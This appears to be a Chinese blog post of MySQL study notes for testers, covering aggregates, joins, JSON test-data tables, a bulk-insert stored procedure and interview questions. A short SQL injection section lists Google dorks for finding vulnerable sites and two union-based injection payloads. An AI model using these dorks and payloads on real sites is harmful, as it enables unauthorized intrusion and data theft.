美文网首页
mysql在测试中的应用2

mysql在测试中的应用2

作者: 测试星云 | 来源:发表于2020-03-11 19:10 被阅读0次

    sql 语法

    聚合函数及分组筛选:

    在一组数据中查询:总计数量count‘合计sum,平均值avg,最大max,最小值min

    练习:

    10001这个员工工作了多少年?
    这些年赚了多少钱?
    平均每年多少呢?保留小数点后两位。
    最多一年和最少一年赚多少?
    公司所有员工每一位平均薪水,最高,最低,使用别名显示。
    -统计一下dept_emp这张表的数据量
    -再统计一下员工id(emp_no)的去重数量
    -把重复出现员工id筛选出来
    -重复员工id把完整的信息dept_emp筛选出来

    子查询

    SELECT … FROM 表1 WHERE 字段1 = (in) (子查询)

    练习

    现在薪水最高的那个员工的信息。
    工作17年以上的员工都有谁?具体每个人每年薪资详细信息。

    联表查询

    select 列名 from 表A a inner(left,right) join 表B b on a.key=b.key

    练习

    显示员工号,员工名字和所有部门号(部门名称)
    显示 Customer Service 部门所有员工名字 ,使用内联接
    显示Customer Service 部门员工数量 ,左联接-右联接-数量是否不同。
    显示现在(最后一次调动工作以来)薪水最低的10名人员员工编号及薪水,薪水加密显示。
    给2002年调动工作的,现在在职的员工涨工资3000

    备份与恢复

    接口自动化测试数据存储

    建表

    CREATE TABLE testdata (
    id int(10) unsigned NOT NULL AUTO_INCREMENT,
    payload json DEFAULT NULL,
    response json DEFAULT NULL,
    PRIMARY KEY (id)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
    

    插入

    INSERT INTO testdata (payload, response)
    VALUES ('{"id": 3, "name": "linda22"}', '{"code":40000 ,"msg": "ok"}');
    
    INSERT INTO testdata (payload, response)
    VALUES (JSON_OBJECT("id", 4, "name", "sevenriruby"),
    JSON_ARRAY(1, 3, 5));
    

    select * from testdata;
    查询某个

    SELECT id, payload->'$.id', payload->'$.name', response->'$[0]', response->'$[2]' FROM testdata;
    select * from testdata where payload->'$.name'='linda';
    

    SQL注入

    在google找脆弱网站

    inurl:php?id=
    
    inurl:product.php?mid=
    inurl:/articles.php?id=
    
    1' order by 1#
    1' union select database(),user()#
    

    存储过程添加100万条数据

    删除存储过程,如果这个名字的已存在
    DROP PROCEDURE if exists insert_data_pro;
    由于语句较多,使用这个告诉mysql,看到下面这就表示语句结束了。
    DELIMITER $$
    建立存储过程名字叫 insert_data_pro

    CREATE
    PROCEDURE insert_data_pro()
    BEGIN 开始
    DECLARE i INT; 定义 i
    SET i=0; 设置初始值为0
    WHILE i>=0 && i<= 10000 DO 循环 插入10000条数据,可以变化。
    INSERT INTO big_data(name1,age,email)values(concat(‘linda’,i),rand()*50,concat('linda',i,'[*@*qq.com](https://testerhome.com/qq.com "@qq.com")'));
    写的sql,concat是将多个str连在一起。
    SET i=i + 1;
    
    END WHILE; 结束循环
    END$$ 存储过程结束
    DELIMITER ; 恢复设置
    

    下面是调用存储过程
    call insert_data_pro();

    explain

    慢查询分析

    面试-坑

    手机号存成什么类型,长度多长?
    字符集是哪个?需要注释吗?
    工作中使用存储过程、视图、触发器、Event?
    主外键做什么,实际中你们用吗?
    索引怎么用?
    存储过程用吗?
    什么时候用TEXT、BLOB类型?大文件或者大照片怎么存的?
    你们使用什么引擎?
    int(11),是什么意思,varchar(20)是什么意思?
    删除命令你知道哪些?
    你了解事务吗?

    事务怎么测试呢?

    相关文章

      网友评论

          本文标题:mysql在测试中的应用2

          本文链接:https://www.haomeiwen.com/subject/ulmhjhtx.html